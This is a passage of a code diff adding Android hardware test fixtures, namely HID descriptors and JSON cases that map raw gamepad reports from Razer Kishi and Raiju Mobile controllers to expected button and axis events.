+        0x01, 0x81, 0x42, 0x65, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0f, 0x15, 0x00, 0x25, 0x01,
+        0x75, 0x01, 0x95, 0x0f, 0x81, 0x02, 0x75, 0x0d, 0x95, 0x01, 0x81, 0x03, 0x05, 0x02, 0x09,
+        0xc5, 0x09, 0xc4, 0x15, 0x00, 0x26, 0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08,
+        0x95, 0x02, 0x81, 0x02, 0x06, 0x00, 0xff, 0x09, 0x21, 0x95, 0x02, 0x81, 0x02, 0x85, 0x02,
+        0x0a, 0x21, 0x27, 0x95, 0x2f, 0xb1, 0x02, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85,
+        0x03, 0x0a, 0x23, 0x02, 0x0a, 0x24, 0x02, 0x09, 0x40, 0x09, 0xe9, 0x09, 0xea, 0x09, 0x30,
+        0x09, 0x32, 0x0a, 0xa2, 0x01, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02,
+        0x75, 0x01, 0x95, 0x08, 0x81, 0x03, 0x75, 0x08, 0x95, 0x0a, 0x81, 0x01, 0xc0, 0x05, 0x01,
+        0x09, 0x00, 0xa1, 0x01, 0x85, 0x05, 0x09, 0x03, 0x15, 0x00, 0x26, 0xff, 0x00, 0x35, 0x00,
+        0x46, 0xff, 0x00, 0x75, 0x08, 0x95, 0x0c, 0x81, 0x00, 0xc0]
+}
diff --git a/tests/tests/hardware/res/raw/razer_kishi_keyeventtests.json b/tests/tests/hardware/res/raw/razer_kishi_keyeventtests.json
new file mode 100644
index 0000000..a279d5a
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_kishi_keyeventtests.json
@@ -0,0 +1,171 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press Left Stick Thumb Button",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press Right Stick Thumb Button",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SELECT",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_START",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_HOME",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_kishi_motioneventtests.json b/tests/tests/hardware/res/raw/razer_kishi_motioneventtests.json
new file mode 100644
index 0000000..8323ce2
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_kishi_motioneventtests.json
@@ -0,0 +1,214 @@
+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0xff, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+        [0xc0, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x80, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+        [0x3f, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x7f, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+        [0x00, 0xc0, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x80, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+        [0x00, 0x3f, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x7f, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+        [0x00, 0x00, 0xc0, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+        [0x00, 0x00, 0x3f, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x7f, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+        [0x00, 0x00, 0x00, 0xc0, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x3f, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x7f, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x7f],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0xff],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.0, "AXIS_BRAKE": 0.0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x02, 0x00, 0x7f, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x02, 0x00, 0xff, 0x00],
+        [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.0, "AXIS_GAS": 0.0}}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_kishi_register.json b/tests/tests/hardware/res/raw/razer_kishi_register.json
new file mode 100644
index 0000000..4c9c137
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_kishi_register.json
@@ -0,0 +1,22 @@
+{
+    "id": 1,
+    "command": "register",
+    "name": "Razer Kishi (USB Test)",
+    "vid": 0x27f8,
+    "pid": 0x0bbf,
+    "bus": "usb",
+    "source": "KEYBOARD | GAMEPAD | JOYSTICK",
+    "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0xa1, 0x02, 0x15, 0x81, 0x25, 0x7f, 0x05,
+        0x01, 0x09, 0x01, 0xa1, 0x00, 0x75, 0x08, 0x95, 0x04, 0x35, 0x00, 0x46, 0xff, 0x00, 0x09,
+        0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x81, 0x02, 0x75, 0x08, 0x95, 0x02, 0x15, 0x01,
+        0x26, 0xff, 0x00, 0x09, 0x39, 0x09, 0x39, 0x81, 0x02, 0xc0, 0x05, 0x07, 0x19, 0x4f, 0x29,
+        0x52, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x81, 0x02, 0x0a, 0xf1, 0x00, 0x15,
+        0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x01, 0x81, 0x02, 0x75, 0x01, 0x95, 0x02, 0x81, 0x03,
+        0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x15, 0x00, 0x25, 0x01, 0x0a, 0x24, 0x02, 0x75, 0x01,
+        0x95, 0x01, 0x81, 0x06, 0xc0, 0x75, 0x01, 0x95, 0x10, 0x05, 0x09, 0x19, 0x01, 0x29, 0x10,
+        0x81, 0x02, 0x06, 0x02, 0xff, 0x09, 0x01, 0xa1, 0x01, 0x15, 0x00, 0x25, 0x01, 0x09, 0x04,
+        0x75, 0x01, 0x95, 0x01, 0x81, 0x02, 0xc0, 0x75, 0x01, 0x95, 0x07, 0x81, 0x03, 0x15, 0x00,
+        0x25, 0xff, 0x05, 0x02, 0x09, 0x01, 0xa1, 0x00, 0x75, 0x08, 0x95, 0x02, 0x35, 0x00, 0x45,
+        0xff, 0x09, 0xc4, 0x09, 0xc5, 0x81, 0x02, 0xc0, 0x06, 0x00, 0xff, 0x09, 0x80, 0x75, 0x08,
+        0x95, 0x08, 0x15, 0x00, 0x26, 0xff, 0x00, 0xb1, 0x02, 0xc0, 0xc0]
+}
diff --git a/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_homekey.json b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_homekey.json
new file mode 100644
index 0000000..f3d81d7
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_homekey.json
@@ -0,0 +1,12 @@
+[
+  {
+    "name": "Press BUTTON_HOME",
+    "reports": [
+      [0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "events": [
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_keyeventtests.json b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_keyeventtests.json
new file mode 100644
index 0000000..26a4523
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_keyeventtests.json
@@ -0,0 +1,184 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L3",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R3",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SELECT",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_START",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_HOME",
+    "reports": [
+      [0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_BACK",
+    "reports": [
+      [0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BACK"},
+      {"action": "UP", "keycode": "BACK"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_motioneventtests.json b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_motioneventtests.json
new file mode 100644
index 0000000..2d802c9
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_motioneventtests.json
@@ -0,0 +1,214 @@
